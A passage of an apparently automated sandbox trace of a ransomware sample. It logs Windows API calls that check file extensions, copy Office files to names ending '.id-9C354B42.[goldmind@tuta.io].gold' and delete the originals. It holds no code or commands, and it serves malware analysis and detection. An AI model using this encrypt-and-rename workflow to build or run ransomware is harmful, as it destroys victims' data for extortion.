lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0103.408] lstrlenW (lpString=".1cd") returned 4 [0103.408] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0103.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0103.408] lstrlenW (lpString=".jpg") returned 4 [0103.408] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0103.408] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0103.409] lstrlenW (lpString="MSPUB.DEV_COL.HXT") returned 17 [0103.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.409] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=209) returned 1 [0103.409] CloseHandle (hObject=0x3bc) returned 1 [0103.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt")) returned 0x20 [0103.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.410] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.410] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.410] GetLastError () returned 0x0 [0103.410] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xd1, lpOverlapped=0x0) returned 1 [0103.411] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0103.411] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.412] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0103.412] SetEndOfFile (hFile=0x198) returned 1 [0103.412] CloseHandle (hObject=0x198) returned 1 [0103.412] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.412] SetEndOfFile (hFile=0x3bc) returned 1 [0103.414] CloseHandle (hObject=0x3bc) returned 1 [0103.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt")) returned 1 [0103.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0103.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0103.417] lstrlenW (lpString=".doc") returned 4 [0103.417] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0103.417] lstrlenW (lpString=".docx") returned 5 [0103.417] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0103.417] lstrlenW (lpString=".pdf") returned 4 [0103.417] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0103.417] lstrlenW (lpString=".xls") returned 4 [0103.417] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0103.417] lstrlenW (lpString=".xlsx") returned 5 [0103.417] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0103.417] lstrlenW (lpString=".ppt") returned 4 [0103.417] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0103.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0103.417] lstrlenW (lpString=".zip") returned 4 [0103.417] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0103.417] lstrlenW (lpString=".rar") returned 4 [0103.417] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0103.417] lstrlenW (lpString=".bz2") returned 4 [0103.417] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0103.417] lstrlenW (lpString=".7z") returned 3 [0103.417] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0103.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0103.417] lstrlenW (lpString=".dbf") returned 4 [0103.417] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0103.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0103.417] lstrlenW (lpString=".1cd") returned 4 [0103.417] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0103.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0103.417] lstrlenW (lpString=".jpg") returned 4 [0103.417] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0103.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0103.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0103.417] lstrlenW (lpString=".doc") returned 4 [0103.417] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0103.417] lstrlenW (lpString=".docx") returned 5 [0103.417] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0103.417] lstrlenW (lpString=".pdf") returned 4 [0103.417] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0103.417] lstrlenW (lpString=".xls") returned 4 [0103.418] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0103.418] lstrlenW (lpString=".xlsx") returned 5 [0103.418] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0103.418] lstrlenW (lpString=".ppt") returned 4 [0103.418] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0103.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0103.418] lstrlenW (lpString=".zip") returned 4 [0103.418] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0103.418] lstrlenW (lpString=".rar") returned 4 [0103.418] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0103.418] lstrlenW (lpString=".bz2") returned 4 [0103.418] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0103.418] lstrlenW (lpString=".7z") returned 3 [0103.418] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0103.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0103.418] lstrlenW (lpString=".dbf") returned 4 [0103.418] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0103.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0103.418] lstrlenW (lpString=".1cd") returned 4 [0103.418] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0103.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65 [0103.418] lstrlenW (lpString=".jpg") returned 4 [0103.418] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0103.418] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0103.418] lstrlenW (lpString="MSPUB.DEV_F_COL.HXK") returned 19 [0103.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.419] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=114) returned 1 [0103.419] CloseHandle (hObject=0x3bc) returned 1 [0103.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk")) returned 0x20 [0103.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.419] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.419] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.420] GetLastError () returned 0x0 [0103.420] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x72, lpOverlapped=0x0) returned 1 [0103.420] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0103.421] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.421] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0103.421] SetEndOfFile (hFile=0x198) returned 1 [0103.421] CloseHandle (hObject=0x198) returned 1 [0103.421] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.421] SetEndOfFile (hFile=0x3bc) returned 1 [0103.423] CloseHandle (hObject=0x3bc) returned 1 [0103.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk")) returned 1 [0103.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0103.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0103.424] lstrlenW (lpString=".doc") returned 4 [0103.424] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.424] lstrlenW (lpString=".docx") returned 5 [0103.424] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.424] lstrlenW (lpString=".pdf") returned 4 [0103.424] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.424] lstrlenW (lpString=".xls") returned 4 [0103.424] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.424] lstrlenW (lpString=".xlsx") returned 5 [0103.424] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.424] lstrlenW (lpString=".ppt") returned 4 [0103.424] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0103.424] lstrlenW (lpString=".zip") returned 4 [0103.424] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.424] lstrlenW (lpString=".rar") returned 4 [0103.424] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.424] lstrlenW (lpString=".bz2") returned 4 [0103.424] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.424] lstrlenW (lpString=".7z") returned 3 [0103.425] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0103.425] lstrlenW (lpString=".dbf") returned 4 [0103.425] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0103.425] lstrlenW (lpString=".1cd") returned 4 [0103.425] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0103.425] lstrlenW (lpString=".jpg") returned 4 [0103.425] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0103.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0103.425] lstrlenW (lpString=".doc") returned 4 [0103.425] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.425] lstrlenW (lpString=".docx") returned 5 [0103.425] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.425] lstrlenW (lpString=".pdf") returned 4 [0103.425] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.425] lstrlenW (lpString=".xls") returned 4 [0103.425] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.425] lstrlenW (lpString=".xlsx") returned 5 [0103.425] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.425] lstrlenW (lpString=".ppt") returned 4 [0103.425] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0103.425] lstrlenW (lpString=".zip") returned 4 [0103.425] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.425] lstrlenW (lpString=".rar") returned 4 [0103.425] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.425] lstrlenW (lpString=".bz2") returned 4 [0103.425] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.425] lstrlenW (lpString=".7z") returned 3 [0103.425] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0103.425] lstrlenW (lpString=".dbf") returned 4 [0103.425] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0103.425] lstrlenW (lpString=".1cd") returned 4 [0103.425] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67 [0103.425] lstrlenW (lpString=".jpg") returned 4 [0103.425] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.425] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0103.425] lstrlenW (lpString="MSPUB.DEV_K_COL.HXK") returned 19 [0103.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.426] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=113) returned 1 [0103.426] CloseHandle (hObject=0x3bc) returned 1 [0103.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk")) returned 0x20 [0103.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.431] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.431] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0103.431] GetLastError () returned 0x0 [0103.431] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x71, lpOverlapped=0x0) returned 1 [0103.432] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0103.432] ReadFile (in: hFile=0x3bc, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.433] WriteFile (in: hFile=0x198, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0103.433] SetEndOfFile (hFile=0x198) returned 1 [0103.433] CloseHandle (hObject=0x198) returned 1 [0103.433] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.433] SetEndOfFile (hFile=0x3bc) returned 1 [0103.435] CloseHandle (hObject=0x3bc) returned 1 [0103.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk")) returned 1 [0103.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0103.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0103.435] lstrlenW (lpString=".doc") returned 4 [0103.435] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.435] lstrlenW (lpString=".docx") returned 5 [0103.435] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.435] lstrlenW (lpString=".pdf") returned 4 [0103.435] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.435] lstrlenW (lpString=".xls") returned 4 [0103.435] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.436] lstrlenW (lpString=".xlsx") returned 5 [0103.436] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.436] lstrlenW (lpString=".ppt") returned 4 [0103.436] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0103.436] lstrlenW (lpString=".zip") returned 4 [0103.436] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.436] lstrlenW (lpString=".rar") returned 4 [0103.436] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.436] lstrlenW (lpString=".bz2") returned 4 [0103.436] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.436] lstrlenW (lpString=".7z") returned 3 [0103.436] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0103.436] lstrlenW (lpString=".dbf") returned 4 [0103.436] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0103.436] lstrlenW (lpString=".1cd") returned 4 [0103.436] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0103.436] lstrlenW (lpString=".jpg") returned 4 [0103.436] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0103.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0103.436] lstrlenW (lpString=".doc") returned 4 [0103.436] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.436] lstrlenW (lpString=".docx") returned 5 [0103.436] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.436] lstrlenW (lpString=".pdf") returned 4 [0103.436] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.436] lstrlenW (lpString=".xls") returned 4 [0103.436] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.436] lstrlenW (lpString=".xlsx") returned 5 [0103.436] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.436] lstrlenW (lpString=".ppt") returned 4 [0103.436] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0103.436] lstrlenW (lpString=".zip") returned 4 [0103.436] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.436] lstrlenW (lpString=".rar") returned 4 [0103.436] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.436] lstrlenW (lpString=".bz2") returned 4 [0103.436] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.436] lstrlenW (lpString=".7z") returned 3 [0103.436] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0103.436] lstrlenW (lpString=".dbf") returned 4 [0103.436] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0103.436] lstrlenW (lpString=".1cd") returned 4 [0103.436] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67 [0103.436] lstrlenW (lpString=".jpg") returned 4 [0103.436] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.437] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0103.437] lstrlenW 